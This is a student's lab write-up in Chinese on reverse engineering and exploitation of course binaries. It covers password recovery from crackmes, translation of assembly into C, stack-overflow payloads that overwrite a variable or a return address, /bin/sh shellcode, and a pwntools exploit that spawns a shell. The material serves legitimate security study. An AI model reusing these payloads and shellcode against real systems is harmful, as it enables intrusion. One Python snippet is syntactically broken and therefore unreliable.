lab
<p>[TOC]</p>
<h1>Lab 4</h1>
<h2>lab4-1</h2>
<p>输入密码后开始递减循环
<img src="https://pic.imgdb.cn/item/63931a15b1fccdcd36f3126e.png" alt="Img" />
<img src="https://pic.imgdb.cn/item/63931a30b1fccdcd36f34876.png" alt="Img" />
一共循环11次
<img src="https://pic.imgdb.cn/item/63931a6db1fccdcd36f3c30b.png" alt="Img" />
然后从index 0开始提取我们输入的字节
<img src="https://pic.imgdb.cn/item/63931a97b1fccdcd36f40d02.png" alt="Img" />
<img src="https://pic.imgdb.cn/item/63931ac0b1fccdcd36f449e9.png" alt="Img" />
同时从index 10开始取给的固定值,只需要将给定的值反向即是密码
所以可知密码为 <code>ysaesawtaht</code>
<img src="https://pic.imgdb.cn/item/6391b0f3b1fccdcd36e4c9c1.png" alt="Img" />
逆向出的C语言代码为</p>
<pre><code class="language-c">#include<stdio.h>
char *passwd = "thatwaseasy";
int main() {
char buf[20];
int j = 0;
int flag = 0;
char *pd = passwd;
printf("Enter the password: ");
scanf("%s", buf);
for(int i = 10; i >= 0; --i) {
if(buf[j] != pd[i]) {
flag = 1;
}
j++;
}
if(flag) {
puts("Incorrect :(");
} else {
puts("Correct!");
}
return 0;
}</code></pre>
<p><img src="https://pic.imgdb.cn/item/6391b336b1fccdcd36e7eb6b.png" alt="Img" /></p>
<h2>lab4-2</h2>
<p>和lab4-1差不多
循环变为了递增
<img src="https://pic.imgdb.cn/item/63931b60b1fccdcd36f5bd98.png" alt="Img" />
对比值是提取出来减去0x20
<img src="https://pic.imgdb.cn/item/63931b8ab1fccdcd36f5f752.png" alt="Img" />
所以密码为 <code>thatwaseasy</code>减去32的结果,为 <code>THATWASEASY</code>
<img src="https://pic.imgdb.cn/item/6391b44cb1fccdcd36e995fc.png" alt="Img" /></p>
<pre><code class="language-c">#include<stdio.h>
char *passwd = "thatwaseasy";
int main() {
char buf[20];
int flag = 0;
char *pd = passwd;
printf("Enter the password: ");
scanf("%s", buf);
for(int i = 0; i <= 10; ++i) {
if(buf[i] != pd[i]-32) {
flag = 1;
}
}
if(flag) {
puts("Incorrect :(");
} else {
puts("Correct!");
}
return 0;
}</code></pre>
<p><img src="https://pic.imgdb.cn/item/6391b586b1fccdcd36eaff06.png" alt="Img" /></p>
<p>For lab4-1, what is the purpose of the local variable located at ebp+0x30?
存储了libc的全局变量基地址(不知道对不对,但是我看到就是这个)
<img src="https://pic.imgdb.cn/item/639209cfb1fccdcd36815ce8.png" alt="Img" /></p>
<h1>Lab 3</h1>
<h2>lab3-1</h2>
<p>汇编代码分析</p>
<pre><code class="language-c">.file "lab3-1.c"
.intel_syntax noprefix
.text
.globl func1
.type func1, @function
func1:
push ebp
mov ebp, esp
sub esp, 24
mov eax, DWORD PTR [ebp+8] ; a
lea edx, [eax+eax] ; a+a
mov eax, DWORD PTR [ebp+8]
add edx, eax ; a+a+a
mov eax, DWORD PTR [ebp+12]
add eax, edx ; a+a+a+b
mov DWORD PTR [ebp-12], eax
sub esp, 8
push 3
push DWORD PTR [ebp-12]
call func2 ; func2(10, 3) ;func2(3*a+b, 3)
add esp, 16
leave
ret ; return func2(3*a+b, 3)
.size func1, .-func1
.globl func2
.type func2, @function
func2:
push ebp
mov ebp, esp
mov eax, DWORD PTR [ebp+8]
sub eax, DWORD PTR [ebp+12] ; a-b
pop ebp
ret ; return a-b
.size func2, .-func2
.globl main
.type main, @function
main:
lea ecx, [esp+4]
and esp, -16
push DWORD PTR [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 20
mov DWORD PTR [ebp-12], 0
sub esp, 8
push 6
push 4
call func1 ; func1(4, 6)
add esp, 16
mov DWORD PTR [ebp-12], eax
mov eax, 0
mov ecx, DWORD PTR [ebp-4]
leave
lea esp, [ecx-4]
ret
.size main, .-main
.ident "GCC: (Ubuntu 4.9.2-10ubuntu13) 4.9.2"
.section .note.GNU-stack,"",@progbits</code></pre>
<p>翻译为c语言为</p>
<pre><code class="language-c">int func2(int a, int b) {
return a-b;
}
int func1(int a, int b) {
int x = 3*a + b;
return func2(x, 3);
}
int main() {
int x = 0;
x = func1(4, 6);
return 0;
}</code></pre>
<p>编译后的反汇编代码为</p>
<pre><code class="language-c">.text:000004ED public func2
.text:000004ED func2 proc near ; CODE XREF: func1+26↓p
.text:000004ED
.text:000004ED arg_0 = dword ptr 8
.text:000004ED arg_4 = dword ptr 0Ch
.text:000004ED
.text:000004ED ; __unwind {
.text:000004ED push ebp
.text:000004EE mov ebp, esp
.text:000004F0 call __x86_get_pc_thunk_ax
.text:000004F5 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:000004FA mov eax, [ebp+arg_0]
.text:000004FD sub eax, [ebp+arg_4]
.text:00000500 pop ebp
.text:00000501 retn
.text:00000501 ; } // starts at 4ED
.text:00000501 func2 endp
.text:00000501
.text:00000502
.text:00000502 ; =============== S U B R O U T I N E =======================================
.text:00000502
.text:00000502 ; Attributes: bp-based frame
.text:00000502
.text:00000502 public func1
.text:00000502 func1 proc near ; CODE XREF: main+1B↓p
.text:00000502
.text:00000502 var_4 = dword ptr -4
.text:00000502 arg_0 = dword ptr 8
.text:00000502 arg_4 = dword ptr 0Ch
.text:00000502
.text:00000502 ; __unwind {
.text:00000502 push ebp
.text:00000503 mov ebp, esp
.text:00000505 sub esp, 10h
.text:00000508 call __x86_get_pc_thunk_ax
.text:0000050D add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:00000512 mov edx, [ebp+arg_0]
.text:00000515 mov eax, edx
.text:00000517 add eax, eax
.text:00000519 add edx, eax
.text:0000051B mov eax, [ebp+arg_4]
.text:0000051E add eax, edx
.text:00000520 mov [ebp+var_4], eax
.text:00000523 push 3
.text:00000525 push [ebp+var_4]
.text:00000528 call func2
.text:0000052D add esp, 8
.text:00000530 leave
.text:00000531 retn
.text:00000531 ; } // starts at 502
.text:00000531 func1 endp
.text:00000531
.text:00000532
.text:00000532 ; =============== S U B R O U T I N E =======================================
.text:00000532
.text:00000532 ; Attributes: bp-based frame
.text:00000532
.text:00000532 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000532 public main
.text:00000532 main proc near ; DATA XREF: .got:main_ptr↓o
.text:00000532
.text:00000532 var_4 = dword ptr -4
.text:00000532 argc = dword ptr 8
.text:00000532 argv = dword ptr 0Ch
.text:00000532 envp = dword ptr 10h
.text:00000532
.text:00000532 ; __unwind {
.text:00000532 push ebp
.text:00000533 mov ebp, esp
.text:00000535 sub esp, 10h
.text:00000538 call __x86_get_pc_thunk_ax
.text:0000053D add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:00000542 mov [ebp+var_4], 0
.text:00000549 push 6
.text:0000054B push 4
.text:0000054D call func1
.text:00000552 add esp, 8
.text:00000555 mov [ebp+var_4], eax
.text:00000558 mov eax, 0
.text:0000055D leave
.text:0000055E retn
.text:0000055E ; } // starts at 532
.text:0000055E main endp</code></pre>
<h2>lab3-2</h2>
<p>汇编代码分析</p>
<pre><code class="language-c">.file "lab3-2.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
push ebp
mov ebp, esp
sub esp, 16
mov DWORD PTR [ebp-4], 4 ; i = 4
mov DWORD PTR [ebp-16], 0 ; z = 0
mov DWORD PTR [ebp-8], 0 ; x = 0
mov eax, DWORD PTR [ebp-4]
cmp eax, 1 ; if(i == 1)
je .L3
cmp eax, 4 ; if(i == 4)
je .L4
jmp .L9 ; else
.L3:
mov DWORD PTR [ebp-16], 1 ; z = 1
jmp .L5
.L4:
mov DWORD PTR [ebp-16], 2 ; z = 2
jmp .L5
.L9:
mov DWORD PTR [ebp-16], 3 ; z = 3
.L5:
mov DWORD PTR [ebp-12], 0 ; y = 0
jmp .L6
.L7:
mov eax, DWORD PTR [ebp-12]
add DWORD PTR [ebp-8], eax ; x += y
add DWORD PTR [ebp-12], 1 ; y++
.L6:
mov eax, DWORD PTR [ebp-12]
cmp eax, DWORD PTR [ebp-16] ; if(y < z)
jl .L7
mov eax, 0
leave
ret
.size main, .-main
.ident "GCC: (Ubuntu 4.9.2-10ubuntu13) 4.9.2"
.section .note.GNU-stack,"",@progbits</code></pre>
<p>翻译成c语言为</p>
<pre><code class="language-c">int main() {
int i = 4, x = 0, y, z = 0;
if(i == 1) {
z = 1;
}
else if(i == 4) {
z = 2;
}
else {
z = 3;
}
for(y = 0; y < z; y++) {
x += y;
}
return 0;
}</code></pre>
<p>编译后的反汇编代码为</p>
<pre><code class="language-c">.text:000004ED public main
.text:000004ED main proc near ; DATA XREF: .got:main_ptr↓o
.text:000004ED
.text:000004ED var_10 = dword ptr -10h
.text:000004ED var_C = dword ptr -0Ch
.text:000004ED var_8 = dword ptr -8
.text:000004ED var_4 = dword ptr -4
.text:000004ED argc = dword ptr 8
.text:000004ED argv = dword ptr 0Ch
.text:000004ED envp = dword ptr 10h
.text:000004ED
.text:000004ED ; __unwind {
.text:000004ED push ebp
.text:000004EE mov ebp, esp
.text:000004F0 sub esp, 10h
.text:000004F3 call __x86_get_pc_thunk_ax
.text:000004F8 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:000004FD mov [ebp+var_4], 4
.text:00000504 mov [ebp+var_10], 0
.text:0000050B mov [ebp+var_8], 0
.text:00000512 cmp [ebp+var_4], 1
.text:00000516 jnz short loc_521
.text:00000518 mov [ebp+var_8], 1
.text:0000051F jmp short loc_537
.text:00000521 ; ---------------------------------------------------------------------------
.text:00000521
.text:00000521 loc_521: ; CODE XREF: main+29↑j
.text:00000521 cmp [ebp+var_4], 4
.text:00000525 jnz short loc_530
.text:00000527 mov [ebp+var_8], 2
.text:0000052E jmp short loc_537
.text:00000530 ; ---------------------------------------------------------------------------
.text:00000530
.text:00000530 loc_530: ; CODE XREF: main+38↑j
.text:00000530 mov [ebp+var_8], 3
.text:00000537
.text:00000537 loc_537: ; CODE XREF: main+32↑j
.text:00000537 ; main+41↑j
.text:00000537 mov [ebp+var_C], 0
.text:0000053E jmp short loc_54A
.text:00000540 ; ---------------------------------------------------------------------------
.text:00000540
.text:00000540 loc_540: ; CODE XREF: main+63↓j
.text:00000540 mov eax, [ebp+var_C]
.text:00000543 add [ebp+var_10], eax
.text:00000546 add [ebp+var_C], 1
.text:0000054A
.text:0000054A loc_54A: ; CODE XREF: main+51↑j
.text:0000054A mov eax, [ebp+var_C]
.text:0000054D cmp eax, [ebp+var_8]
.text:00000550 jl short loc_540
.text:00000552 mov eax, 0
.text:00000557 leave
.text:00000558 retn
.text:00000558 ; } // starts at 4ED
.text:00000558 main endp</code></pre>
<h1>Lab 5</h1>
<h2>lab5-1</h2>
<p><img src="https://pic.imgdb.cn/item/639210fab1fccdcd368db8c1.png" alt="Img" />
它输入内容存储到var_30处
<img src="https://pic.imgdb.cn/item/63921156b1fccdcd368e3ab4.png" alt="Img" />
然后对比11个字节数据
<img src="https://pic.imgdb.cn/item/639211beb1fccdcd368eb390.png" alt="Img" />
这里是获取输入的第i个字节
<img src="https://pic.imgdb.cn/item/639211e9b1fccdcd368ee894.png" alt="Img" />
这里是获取要对比的字节
<img src="https://pic.imgdb.cn/item/63921467b1fccdcd3691cdce.png" alt="Img" />
然后对密文的index进行处理计算,但是由于这个index和我们输入完全没有关系,所以可以不太管它,直接再每次获取密文字节的地方设置断点,进行十次调试,每次调试获取一个密码字节
<img src="https://pic.imgdb.cn/item/639214c9b1fccdcd3692418b.png" alt="Img" />
<img src="https://pic.imgdb.cn/item/6392162fb1fccdcd3693ee8b.png" alt="Img" />
第一个字节为i
<img src="https://pic.imgdb.cn/item/63921699b1fccdcd36945fc1.png" alt="Img" />
第二个字节为c
<img src="https://pic.imgdb.cn/item/639216e2b1fccdcd3694aef6.png" alt="Img" />
第三个字节为E
<img src="https://pic.imgdb.cn/item/6392171eb1fccdcd3694ee9c.png" alt="Img" />
第四个字节为Y
<img src="https://pic.imgdb.cn/item/6392177cb1fccdcd3695497e.png" alt="Img" />
第五个字节为J
<img src="https://pic.imgdb.cn/item/639217ecb1fccdcd3695ba64.png" alt="Img" />
第六个字节为Q
<img src="https://pic.imgdb.cn/item/63921834b1fccdcd369632cc.png" alt="Img" />
第七个字节为x
<img src="https://pic.imgdb.cn/item/63921879b1fccdcd36969064.png" alt="Img" />
第八个字节为v
<img src="https://pic.imgdb.cn/item/639218c2b1fccdcd369716b2.png" alt="Img" />
第九个字节为o
<img src="https://pic.imgdb.cn/item/6392190bb1fccdcd3697896c.png" alt="Img" />
第十个字节为X
<img src="https://pic.imgdb.cn/item/639219e6b1fccdcd3698e64c.png" alt="Img" />
第十一个字节为a
所以密码为 <code>icEYJQxvoXa</code>
<img src="https://pic.imgdb.cn/item/63921a35b1fccdcd36997607.png" alt="Img" /></p>
<p>字符串在一开始被获取了地址
<img src="https://pic.imgdb.cn/item/63921a81b1fccdcd369a1ed7.png" alt="Img" />
然后计算出需要的下标,进行地址加减,最后获取到对应的字节
<img src="https://pic.imgdb.cn/item/63921acdb1fccdcd369abf09.png" alt="Img" />
There is a very long string in this binary - how is it being used?
esi存储的是字符串地址,eax存储的是下标,进行相加,最后取出对应的字节(我不知道他是要如何计算出下标的过程还是就单纯像我写的这样)</p>
<h2>lab5-2</h2>
<p>该程序由两处循环,第一处循环还嵌套了一个循环
<img src="https://pic.imgdb.cn/item/63930844b1fccdcd36d2bf04.png" alt="Img" />
外层循环循环9次
<img src="https://pic.imgdb.cn/item/63930869b1fccdcd36d2f992.png" alt="Img" />
内部循环0x33次
<img src="https://pic.imgdb.cn/item/6393089eb1fccdcd36d33655.png" alt="Img" />
外层循环获取输入的一个字节后进入内部循环
<img src="https://pic.imgdb.cn/item/639308ecb1fccdcd36d3a370.png" alt="Img" />
内部循环是循环取出alpha中的每一个字节和输入的字节进行比对
<img src="https://pic.imgdb.cn/item/63930929b1fccdcd36d3f1d1.png" alt="Img" />
比对成功就将内层的index赋值var_44外层下标对应处,没有对比成功则var_44对应不变
<img src="https://pic.imgdb.cn/item/63930990b1fccdcd36d48d19.png" alt="Img" />
第二个循环也是循环9次
<img src="https://pic.imgdb.cn/item/639309bbb1fccdcd36d4d053.png" alt="Img" />
对比var_44+index和var_68+index是否想等,相等则密码正确
<img src="https://pic.imgdb.cn/item/63930a9bb1fccdcd36d6b34e.png" alt="Img" />
alpha是由大小写字母组成的,而var_68+index对应的值为
<img src="https://pic.imgdb.cn/item/639312e3b1fccdcd36e48b95.png" alt="Img" />
所以可以根据var_68处的值取索引alpha中对应的字母,可以很容易得到</p>
<pre><code>kuEOYZRxk</code></pre>
<p><img src="https://pic.imgdb.cn/item/639313e6b1fccdcd36e5e471.png" alt="Img" />
调试的话我把断点设置在了密码转换处和对比密文处
<img src="https://pic.imgdb.cn/item/639316bdb1fccdcd36ebb361.png" alt="Img" /></p>
<p><img src="https://pic.imgdb.cn/item/63931699b1fccdcd36eaee16.png" alt="Img" />
观察数据的变化</p>
<p>There are 3 different arrays used in this binary. How are they being used?
(不知道答的是不是问题问的)
<img src="https://pic.imgdb.cn/item/639317c5b1fccdcd36ed8426.png" alt="Img" />
alpha数组就是获取alpha字符串地址然后通过index下标相加运算获得需要的字节地址,再提取出来
<img src="https://pic.imgdb.cn/item/63931868b1fccdcd36eea685.png" alt="Img" />
<img src="https://pic.imgdb.cn/item/639318c8b1fccdcd36f01bcb.png" alt="Img" /></p>
<p>存储输入转换后的数组每次地址+4,表示它是int类型的,然后进行存储提取
<img src="https://pic.imgdb.cn/item/63931958b1fccdcd36f14d48.png" alt="Img" />
<img src="https://pic.imgdb.cn/item/63931986b1fccdcd36f1ab06.png" alt="Img" /></p>
<p>密文数组一开始进行了赋值,也是每次地址+4提取下一个值</p>
<h1>Lab 6</h1>
<h2>lab6-1</h2>
<p><img src="https://pic.imgdb.cn/item/63921d9cb1fccdcd369dd8c6.png" alt="Img" />
strncpy复制8个字节命令行参数到栈内
<img src="https://pic.imgdb.cn/item/63921df2b1fccdcd369e2d6d.png" alt="Img" />
循环两次
<img src="https://pic.imgdb.cn/item/63921e29b1fccdcd369e62ae.png" alt="Img" />
对比固定数据,数据为
<img src="https://pic.imgdb.cn/item/63921e53b1fccdcd369e8b57.png" alt="Img" />
注意小端序问题
所以命令行参数为 <code>\x01\x01\xce\xfa\x01\x01\xce\xfa</code>
IDA:
<img src="https://pic.imgdb.cn/item/63921f84b1fccdcd369fc60e.png" alt="Img" />
command line:
<img src="https://pic.imgdb.cn/item/63921fc5b1fccdcd36a007a5.png" alt="Img" /></p>
<h2>lab6-2</h2>
<p><img src="https://pic.imgdb.cn/item/639220d3b1fccdcd36a0f215.png" alt="Img" />
输入5个数字
<img src="https://pic.imgdb.cn/item/639220eeb1fccdcd36a108b6.png" alt="Img" />
循环对比5次
<img src="https://pic.imgdb.cn/item/63922109b1fccdcd36a11e55.png" alt="Img" />
输入的数字进行了encrypt
<img src="https://pic.imgdb.cn/item/63922139b1fccdcd36a14fe6.png" alt="Img" />
而比对的数字为固定的
<img src="https://pic.imgdb.cn/item/63922181b1fccdcd36a1b936.png" alt="Img" />
主要关注encrypt函数
<img src="https://pic.imgdb.cn/item/63922362b1fccdcd36a35ea5.png" alt="Img" />
简化过来就是</p>
<pre><code>x = 0x15*(x+0x7b) ^ 0xaaaa</code></pre>
<p>解密算法为</p>
<pre><code>x = (x^0xaaaa)//0x15-0x7b</code></pre>
<p>解密脚本为</p>
<pre><code class="language-python">def decrypt(x):
return x = (x^0xaaaa)//0x15 - 0x7b
en = [0xa000, 0xa17a, 0xa608, 0xa42f, 0xa150]
for i in en:
print decrypt(i)</code></pre>
<p><img src="https://pic.imgdb.cn/item/639224b3b1fccdcd36a4a57b.png" alt="Img" />
<img src="https://pic.imgdb.cn/item/639224d6b1fccdcd36a4c290.png" alt="Img" /></p>
<h1>Lab 7</h1>
<h2>lab7-1</h2>
<p><img src="https://pic.imgdb.cn/item/6392262cb1fccdcd36a5f85f.png" alt="Img" />
程序将命令行参数复制到了栈中
<img src="https://pic.imgdb.cn/item/6392265eb1fccdcd36a6554c.png" alt="Img" />
然后栈中另一个局部变量需要等于0x0FACECAFE才能打印correct,我们需要做的就是覆盖这个局部变量
<img src="https://pic.imgdb.cn/item/639226a8b1fccdcd36a6a92a.png" alt="Img" />
两者之间的偏移量为24,所以payload为</p>
<pre><code>aaaaaaaaaaaaaaaaaaaaaaaa\xfe\xca\xce\xfa</code></pre>
<p>注意小端序
python脚本为</p>
<pre><code class="language-python">print 'a'*24 + '\xfe\xca\xce\xfa'</code></pre>
<p><img src="https://pic.imgdb.cn/item/63922785b1fccdcd36a7e18f.png" alt="Img" /></p>
<h2>lab7-2</h2>
<p><img src="https://pic.imgdb.cn/item/63922e4db1fccdcd36afb312.png" alt="Img" /></p>
<p>main函数调用unsafe函数将命令行参数复制到局部变量中
<img src="https://pic.imgdb.cn/item/63922e31b1fccdcd36af9df8.png" alt="Img" /></p>
<p>而correct打印在另一个函数,我们需要做的就是溢出覆盖unsafe的函数返回地址为sneaky的地址
<img src="https://pic.imgdb.cn/item/63922e66b1fccdcd36afc811.png" alt="Img" /></p>
<p>var_12距离函数返回地址的偏移量为0x16,所以payload为</p>
<pre><code>'a'*0x16 + '\x3d\x51\x5e\x5e'</code></pre>
<p>strcpy后的栈框架为
<img src="https://pic.imgdb.cn/item/63922e11b1fccdcd36af86f0.png" alt="Img" /></p>
<p>python脚本为</p>
<pre><code class="language-python">print 'a'*0x16 + '\x3d\x51\x5e\x5e'</code></pre>
<p><img src="https://pic.imgdb.cn/item/63922e85b1fccdcd36afe0b2.png" alt="Img" /></p>
<h1>Lab 8</h1>
<h2>lab8-1</h2>
<p>shellcode汇编代码为</p>
<pre><code class="language-c">; open("/tmp/syscall.txt", O_WRONLY|O_CREAT, 777)
push 0
push 0x7478742e
push 0x6c6c6163
push 0x7379732f
push 0x706d742f
push esp
pop ebx
mov ecx, 65
mov edx, 777
mov eax, 5
int 0x80
; write(rax, "System Calls are Cool!", 22)
mov ebx, eax
push 0x216c
push 0x6f6f4320
push 0x65726120
push 0x736c6c61
push 0x43206d65
push 0x74737953
push esp
pop ecx
mov edx, 22
mov eax, 4
int 0x80</code></pre>
<p>这里主要用到open系统调用创建并打开/tmp/syscall.txt文件,然后用write系统调用把需要写入的东西写入文件
获取到c语言形式的shellcode
<img src="https://pic.imgdb.cn/item/6392edeab1fccdcd36a3b0a4.png" alt="Img" /></p>
<pre><code class="language-c">int main() {
char shellcode[] = "\x6a\x00\x68\x2e\x74\x78\x74\x68\x63\x61\x6c\x6c\x68\x2f\x73\x79\x73\x68\x2f\x74" \
"\x6d\x70\x54\x5b\xb9\x41\x00\x00\x00\xba\x09\x03\x00\x00\xb8\x05\x00\x00\x00\xcd" \
"\x80\x89\xc3\x68\x6c\x21\x00\x00\x68\x20\x43\x6f\x6f\x68\x20\x61\x72\x65\x68\x61" \
"\x6c\x6c\x73\x68\x65\x6d\x20\x43\x68\x53\x79\x73\x74\x54\x59\xba\x16\x00\x00\x00" \
"\xb8\x04\x00\x00\x00\xcd\x80";
int (*func)();
func = (int (*)())shellcode;
(int)(*func)();
}</code></pre>
<p>编译后执行
<img src="https://pic.imgdb.cn/item/6392ee38b1fccdcd36a446dd.png" alt="Img" /></p>
<h2>lab8-2</h2>
<p>shellcode汇编代码为</p>
<pre><code class="language-c">; execve("/bin/sh", 0, 0)
xor ecx, ecx
push ecx
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx
xor edx, edx
xor eax, eax
mov al, 11
int 0x80</code></pre>
<p>这里主要调用了execve系统调用,传入"/bin/sh"来获取shell
<img src="https://pic.imgdb.cn/item/6392ef6ab1fccdcd36a71dc5.png" alt="Img" />
生成的shellcode不带'\x00'</p>
<pre><code class="language-c">int main() {
char shellcode[] = "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x31\xd2\x31\xc0\xb0" \
"\x0b\xcd\x80";
int (*func)();
func = (int (*)())shellcode;
(int)(*func)();
}</code></pre>
<p><img src="https://pic.imgdb.cn/item/6392efe7b1fccdcd36a81e22.png" alt="Img" />
如果用scanf注入,那么要删除'\x0b'</p>
<h1>Lab 9</h1>
<blockquote>
<p>不知道这种方法对不对</p>
</blockquote>
<p><img src="https://pic.imgdb.cn/item/639231a7b1fccdcd36b260b1.png" alt="Img" />
还是命令行参数通过strcpy进行溢出,而且栈是可执行的,当执行到ret时,eax存储的时buf输入的地址,而程序里有 <code>call eax</code> 指令,那我们可以注入栈shellcode然后跳转去执行,由于buf的空间不够可以用jmp指令跳转到函数返回地址之后执行shellcode
scanf只会对'\x00'截断,但是python命令行传递参数不加双引号的话有空格存在就会认为有多个参数,所以我这里用了引号来传递参数
shellcode的大概思路为将"i did it"写入栈中然后获取到esp利用write系统调用写出
接着写入"/bin/sh"到栈里然后调用system函数获取到shell</p>
<pre><code class="language-python">from pwn import*
context.arch='i386'
# 写入buf的shellcode,为了跳转到函数返回地址后的shellcode
shellcode = '''
jmp $+0x1a
'''
# 执行write(1, "i did it\n", 9), system("/bin/sh")
shellcode2 = '''
sub esp, 0x50
push 9
pop edx
push 0x0a
push 0x74692064
push 0x69642069
push esp
pop ecx
push 1
pop ebx
push 4
pop eax
int 0x80
push esi
push 0x68732f2f
push 0x6e69622f
push esp
push 0x8049060
pop eax
call eax
'''
call_eax = 0x0804901d
payload = asm(shellcode)
payload = payload.ljust(0x16, 'a')
payload += p32(call_eax) + asm(shellcode2)
print payload</code></pre>
<p><img src="https://pic.imgdb.cn/item/63930223b1fccdcd36c87d90.png" alt="Img" /></p>